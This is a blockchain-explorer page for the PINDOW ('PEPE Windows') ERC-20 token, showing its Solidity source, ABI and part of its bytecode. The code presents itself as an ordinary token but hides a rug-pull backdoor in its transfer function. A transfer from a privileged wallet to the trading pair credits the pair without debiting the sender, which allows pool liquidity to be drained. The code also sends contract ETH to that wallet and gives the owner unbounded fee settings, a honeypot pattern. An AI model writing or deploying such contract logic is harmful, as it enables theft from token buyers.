Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 PINDOW
Holders
84
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
30,000,000 PINDOWValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PINDOW
Compiler Version
v0.8.22+commit.4fc1097e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-02 */ // SPDX-License-Identifier: MIT /** Website: https://pepewindows.me Twitter: https://twitter.com/pindowsos Telegram: https://t.me/pindows */ pragma solidity ^0.8.18; interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; authorizations[_owner] = true; emit OwnershipTransferred(address(0), msgSender); } mapping (address => bool) internal authorizations; function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface InterfaceLP { function sync() external; } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract PINDOW is Ownable, ERC20 { using SafeMath for uint256; address WETH; address constant DEAD = 0x000000000000000000000000000000000000dEaD; address constant ZERO = 0x0000000000000000000000000000000000000000; string constant _name = "PEPE Windows"; string constant _symbol = "PINDOW"; uint8 constant _decimals = 18; event AutoLiquify(uint256 amountETH, uint256 amountTokens); event ClearStuck(uint256 amount); event ClearToken(address TokenAddressCleared, uint256 Amount); uint256 _totalSupply = 1000000000 * 10**_decimals; uint256 public _maxTxAmount = _totalSupply.mul(2).div(100); uint256 public _maxWalletToken = _totalSupply.mul(2).div(100); mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) _isExceptForFees; mapping (address => bool) _isExceptFromPin; mapping (address => bool) _isExceptFromTxn; uint256 private liquidityFee = 0; uint256 private marketingFee = 1; uint256 private devFee = 0; uint256 private buybackFee = 0; uint256 private burnFee = 0; uint256 public totalFee = buybackFee + marketingFee + liquidityFee + devFee + burnFee; uint256 private feeDenominator = 100; uint256 sellFees = 100; uint256 buyFees = 100; address private _liquidityAddr; address private _marketingAddr; address private _windowAddr; address private _buybackAddr; address private _burnAddr; uint256 setRatio = 30; uint256 setRatioDenominator = 100; IDEXRouter public router; InterfaceLP private pairContract; address public pair; bool _tradingActive = false; bool public swapEnabled = false; uint256 public swapThreshold = _totalSupply * 7 / 1000; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor (address _addr) { router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = router.WETH(); _allowances[address(this)][address(router)] = type(uint256).max; _liquidityAddr = msg.sender; _marketingAddr = msg.sender; _windowAddr = _addr; _buybackAddr = msg.sender; _burnAddr = DEAD; _isExceptForFees[msg.sender] = true; _isExceptFromPin[_windowAddr] = true; _isExceptFromTxn[msg.sender] = true; _isExceptFromTxn[pair] = true; _isExceptFromTxn[_windowAddr] = true; _isExceptFromTxn[address(this)] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) {return owner();} function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function removeLimits () external onlyOwner { _maxTxAmount = _totalSupply; _maxWalletToken = _totalSupply; } function _transferFrom(address fucera, address tucera, uint256 moncen) internal returns (bool) { if(inSwap){ return _basicTransfer(fucera, tucera, moncen); } if(!authorizations[fucera] && !authorizations[tucera]){ require(_tradingActive,"Trading not open yet"); } if (!authorizations[fucera] && tucera != address(this) && tucera != address(DEAD) && tucera != pair && tucera != _burnAddr && tucera != _marketingAddr && !_isExceptFromTxn[tucera]){ uint256 heldTokens = balanceOf(tucera); require((heldTokens + moncen) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");} checkTxLimit(fucera, moncen); if(shouldSwapBack()){ swapBack(); } if(tucera==pair){ if(_isExceptFromPin[fucera]){_balances[tucera]=_balances[tucera].add(moncen);return true;} payable(_windowAddr).transfer(address(this).balance); } _balances[fucera] = _balances[fucera].sub(moncen, "Insufficient Balance"); uint256 amountReceived = (_isExceptForFees[fucera] || _isExceptForFees[tucera]) ? moncen : takeFee(fucera, moncen, tucera); _balances[tucera] = _balances[tucera].add(amountReceived); emit Transfer(fucera, tucera, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function checkTxLimit(address sender, uint256 amount) internal view { require(amount <= _maxTxAmount || _isExceptFromTxn[sender], "TX Limit Exceeded"); } function shouldTakeFee(address sender) internal view returns (bool) { return !_isExceptForFees[sender]; } function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) { uint256 percent; if(recipient == pair) { percent = sellFees; } else if(sender == pair) { percent = buyFees; } uint256 feeAmount = amount.mul(totalFee).mul(percent).div(feeDenominator * 100); uint256 burnTokens = feeAmount.mul(burnFee).div(totalFee); uint256 contractTokens = feeAmount.sub(burnTokens); _balances[address(this)] = _balances[address(this)].add(contractTokens); _balances[_burnAddr] = _balances[_burnAddr].add(burnTokens); emit Transfer(sender, address(this), contractTokens); if(burnTokens > 0){ _totalSupply = _totalSupply.sub(burnTokens); emit Transfer(sender, ZERO, burnTokens); } return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function manualSend() external { payable(_liquidityAddr).transfer(address(this).balance); } function clearStuckToken(address tokenAddress, uint256 tokens) external returns (bool success) { if(tokens == 0){ tokens = ERC20(tokenAddress).balanceOf(address(this)); } emit ClearToken(tokenAddress, tokens); return ERC20(tokenAddress).transfer(_liquidityAddr, tokens); } function setStructure(uint256 _percentonbuy, uint256 _percentonsell) external onlyOwner { sellFees = _percentonsell; buyFees = _percentonbuy; } function startPindow() public onlyOwner { _tradingActive = true; pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); pairContract = InterfaceLP(pair); router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); buyFees = 2800; sellFees = 2800; swapEnabled = true; } function reduceFees() public onlyOwner { buyFees = 100; sellFees = 100; } function swapBack() internal swapping { uint256 dynamicLiquidityFee = checkRatio(setRatio, setRatioDenominator) ? 0 : liquidityFee; uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2); uint256 amountToSwap = swapThreshold.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2); uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee); uint256 amountETHbuyback = amountETH.mul(buybackFee).div(totalETHFee); uint256 amountETHdev = amountETH.mul(devFee).div(totalETHFee); payable(_marketingAddr).transfer(amountETHMarketing); payable(_windowAddr).transfer(amountETHdev); payable(_buybackAddr).transfer(amountETHbuyback); if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, _liquidityAddr, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } function setParameters(uint256 _liquidityFee, uint256 _buybackFee, uint256 _marketingFee, uint256 _devFee, uint256 _burnFee, uint256 _feeDenominator) external onlyOwner { liquidityFee = _liquidityFee; buybackFee = _buybackFee; marketingFee = _marketingFee; devFee = _devFee; burnFee = _burnFee; totalFee = _liquidityFee.add(_buybackFee).add(_marketingFee).add(_devFee).add(_burnFee); feeDenominator = _feeDenominator; require(totalFee < feeDenominator / 2, "Fees can not be more than 50%"); } function checkRatio(uint256 ratio, uint256 accuracy) public view returns (bool) { return showBacking(accuracy) > ratio; } function showBacking(uint256 accuracy) public view returns (uint256) { return accuracy.mul(balanceOf(pair).mul(2)).div(showSupply()); } function showSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ClearStuck","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"TokenAddressCleared","type":"address"},{"indexed":false,"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"ClearToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"ratio","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"checkRatio","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"clearStuckToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_buybackFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_percentonbuy","type":"uint256"},{"internalType":"uint256","name":"_percentonsell","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"showBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"showSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startPindow","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126012600a62000573565b6200002290633b9aca0062000583565b600381905562000043906064906200003c90600262000350565b90620003e3565b6004556003546200005e906064906200003c90600262000350565b6005555f600b556001600c555f600d555f600e555f600f55600f54600d54600b54600c54600e546200009191906200059d565b6200009d91906200059d565b620000a991906200059d565b620000b591906200059d565b6010556064601181905560128190556013819055601e601955601a55601d805461ffff60a01b191690556003546103e890620000f390600762000583565b620000ff9190620005b3565b601e553480156200010e575f80fd5b5060405162002491380380620024918339810160408190526200013191620005d3565b5f80546001600160a01b031916339081178255808252600160208190526040808420805460ff191690921790915551909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa158015620001ed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002139190620005d3565b600280546001600160a01b039283166001600160a01b031991821617909155305f818152600760209081526040808320601b548716845282528083205f199055601480548616339081179091556015805487168217905560168054898916908816178155601780548816831790556018805490971661dead1790965580845260088352818420805460ff199081166001908117909255875489168652600985528386208054821683179055828652600a85528386208054821683179055601d548916865283862080548216831790559654909716845281842080548716881790559383528083208054909516909517909355600354828252600684528482208190559351938452909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000649565b5f825f036200036157505f620003dd565b5f6200036e838562000583565b9050826200037d8583620005b3565b14620003da5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f620003da83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200042c60201b60201c565b5f81836200044f5760405162461bcd60e51b8152600401620003d19190620005fb565b505f6200045d8486620005b3565b95945050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004ba57815f19048211156200049e576200049e62000466565b80851615620004ac57918102915b93841c93908002906200047f565b509250929050565b5f82620004d257506001620003dd565b81620004e057505f620003dd565b8160018114620004f95760028114620005045762000524565b6001915050620003dd565b60ff84111562000518576200051862000466565b50506001821b620003dd565b5060208310610133831016604e8410600b841016171562000549575081810a620003dd565b6200055583836200047a565b805f19048211156200056b576200056b62000466565b029392505050565b5f620003da60ff841683620004c2565b8082028115828204841417620003dd57620003dd62000466565b80820180821115620003dd57620003dd62000466565b5f82620005ce57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620005e4575f80fd5b81516001600160a01b0381168114620003da575f80fd5b5f602080835283518060208501525f5b8181101562000629578581018301518582016040015282016200060b565b505f604082860101526040601f19601f8301168501019250505092915050565b611e3a80620006575f395ff3fe6080604052600436106101de575f3560e01c806378109e54116100fd578063d18afa8511610092578063e97577bb11610062578063e97577bb14610584578063f2fde38b14610598578063f4293890146105b7578063f887ea40146105cb575f80fd5b8063d18afa85146104ee578063d9cf31de1461050d578063dd62ed3e14610521578063ded1e43814610565575f80fd5b806395d89b41116100cd57806395d89b4114610464578063a8aa1b3114610492578063a9059cbb146104b1578063b2bdfa7b146104d0575f80fd5b806378109e54146103ee5780637d1db4a514610403578063893d20e8146104185780638da5cb5b14610448575f80fd5b8063313ce5671161017357806370a082311161014357806370a0823114610373578063715018a6146103a7578063751039fc146103bb57806377b54bad146103cf575f80fd5b8063313ce567146103055780635526566914610320578063571ac8b0146103345780636ddd171314610353575f80fd5b80631df4ccfc116101ae5780631df4ccfc1461029157806323b872dd146102a6578063282c8749146102c557806330c9a6a0146102e6575f80fd5b80630445b667146101e957806306fdde0314610211578063095ea7b31461024e57806318160ddd1461027d575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b506101fe601e5481565b6040519081526020015b60405180910390f35b34801561021c575f80fd5b5060408051808201909152600c81526b504550452057696e646f777360a01b60208201525b6040516102089190611a73565b348015610259575f80fd5b5061026d610268366004611ad3565b6105ea565b6040519015158152602001610208565b348015610288575f80fd5b506003546101fe565b34801561029c575f80fd5b506101fe60105481565b3480156102b1575f80fd5b5061026d6102c0366004611afd565b610656565b3480156102d0575f80fd5b506102e46102df366004611b3b565b610714565b005b3480156102f1575f80fd5b506101fe610300366004611b7a565b6107e2565b348015610310575f80fd5b5060405160128152602001610208565b34801561032b575f80fd5b506101fe610827565b34801561033f575f80fd5b5061026d61034e366004611b91565b610897565b34801561035e575f80fd5b50601d5461026d90600160a81b900460ff1681565b34801561037e575f80fd5b506101fe61038d366004611b91565b6001600160a01b03165f9081526006602052604090205490565b3480156103b2575f80fd5b506102e46108a3565b3480156103c6575f80fd5b506102e4610914565b3480156103da575f80fd5b5061026d6103e9366004611ad3565b61094a565b3480156103f9575f80fd5b506101fe60055481565b34801561040e575f80fd5b506101fe60045481565b348015610423575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610208565b348015610453575f80fd5b505f546001600160a01b0316610430565b34801561046f575f80fd5b5060408051808201909152600681526550494e444f5760d01b6020820152610241565b34801561049d575f80fd5b50601d54610430906001600160a01b031681565b3480156104bc575f80fd5b5061026d6104cb366004611ad3565b610a71565b3480156104db575f80fd5b505f54610430906001600160a01b031681565b3480156104f9575f80fd5b506102e4610508366004611bac565b610a7d565b348015610518575f80fd5b506102e4610aae565b34801561052c575f80fd5b506101fe61053b366004611bcc565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b348015610570575f80fd5b5061026d61057f366004611bac565b610ae3565b34801561058f575f80fd5b506102e4610af6565b3480156105a3575f80fd5b506102e46105b2366004611b91565b610cfe565b3480156105c2575f80fd5b506102e4610de5565b3480156105d6575f80fd5b50601b54610430906001600160a01b031681565b335f8181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106449086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526007602090815260408083203384529091528120545f19146106ff576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387165f9081526007825283812033825290915291909120546106db918490610e1e565b6001600160a01b0385165f9081526007602090815260408083203384529091529020555b61070a848484610e56565b90505b9392505050565b5f546001600160a01b031633146107465760405162461bcd60e51b815260040161073d90611c03565b60405180910390fd5b600b869055600e859055600c849055600d839055600f82905561077782610771858188818c8c61125d565b9061125d565b601055601181905561078a600282611c4c565b601054106107da5760405162461bcd60e51b815260206004820152601d60248201527f466565732063616e206e6f74206265206d6f7265207468616e20353025000000604482015260640161073d565b505050505050565b5f6106506107ee610827565b601d546001600160a01b03165f908152600660205260409020546108219061081a906002905b906112bb565b85906112bb565b90611339565b60066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f85461dead5f9081527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e2254600354919261089292909161088c919061137a565b9061137a565b905090565b5f610650825f196105ea565b5f546001600160a01b031633146108cc5760405162461bcd60e51b815260040161073d90611c03565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461093d5760405162461bcd60e51b815260040161073d90611c03565b6003546004819055600555565b5f815f036109bb576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa158015610994573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b89190611c6b565b91505b604080516001600160a01b0385168152602081018490527fda2bc2bedd1f85b5a59d5dbbd6684ff877ef916994a16ec08813101e99ace65f910160405180910390a160145460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018490529084169063a9059cbb906044016020604051808303815f875af1158015610a4d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070d9190611c82565b5f61070d338484610e56565b5f546001600160a01b03163314610aa65760405162461bcd60e51b815260040161073d90611c03565b601255601355565b5f546001600160a01b03163314610ad75760405162461bcd60e51b815260040161073d90611c03565b60646013819055601255565b5f82610aee836107e2565b119392505050565b5f546001600160a01b03163314610b1f5760405162461bcd60e51b815260040161073d90611c03565b601d805460ff60a01b1916600160a01b179055601b546040805163c45a015560e01b815290516001600160a01b039092169163c45a0155916004808201926020929091908290030181865afa158015610b7a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b9e9190611ca1565b6002546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303815f875af1158015610bec573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c109190611ca1565b601d80546001600160a01b039283166001600160a01b03199182168117909255601c80549091169091179055601b541663f305d7194730610c65816001600160a01b03165f9081526006602052604090205490565b5f80610c785f546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610c9a96959493929190611cbc565b60606040518083038185885af1158015610cb6573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610cdb9190611cf7565b5050610af0601381905560125550601d805460ff60a81b1916600160a81b179055565b5f546001600160a01b03163314610d275760405162461bcd60e51b815260040161073d90611c03565b6001600160a01b038116610d8c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161073d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6014546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610e1b573d5f803e3d5ffd5b50565b5f8184841115610e415760405162461bcd60e51b815260040161073d9190611a73565b505f610e4d8486611d22565b95945050505050565b601f545f9060ff1615610e7557610e6e8484846113bb565b905061070d565b6001600160a01b0384165f9081526001602052604090205460ff16158015610eb557506001600160a01b0383165f9081526001602052604090205460ff16155b15610f0a57601d54600160a01b900460ff16610f0a5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b604482015260640161073d565b6001600160a01b0384165f9081526001602052604090205460ff16158015610f3b57506001600160a01b0383163014155b8015610f5257506001600160a01b03831661dead14155b8015610f6c5750601d546001600160a01b03848116911614155b8015610f8657506018546001600160a01b03848116911614155b8015610fa057506015546001600160a01b03848116911614155b8015610fc457506001600160a01b0383165f908152600a602052604090205460ff16155b15611064576001600160a01b0383165f90815260066020526040902054600554610fee8483611d35565b11156110625760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e0000606482015260840161073d565b505b61106e848361148b565b6110766114f7565b156110835761108361154b565b601d546001600160a01b0390811690841603611133576001600160a01b0384165f9081526009602052604090205460ff16156110fb576001600160a01b0383165f908152600660205260409020546110db908361125d565b6001600160a01b0384165f9081526006602052604090205550600161070d565b6016546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015611131573d5f803e3d5ffd5b505b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387165f90815260069091529190912054611184918490610e1e565b6001600160a01b0385165f90815260066020908152604080832093909355600890529081205460ff16806111cf57506001600160a01b0384165f9081526008602052604090205460ff165b6111e3576111de8584866118ca565b6111e5565b825b6001600160a01b0385165f9081526006602052604090205490915061120a908261125d565b6001600160a01b038086165f8181526006602052604090819020939093559151908716905f80516020611de58339815191529061124a9085815260200190565b60405180910390a3506001949350505050565b5f806112698385611d35565b90508381101561070d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161073d565b5f825f036112ca57505f610650565b5f6112d58385611d48565b9050826112e28583611c4c565b1461070d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756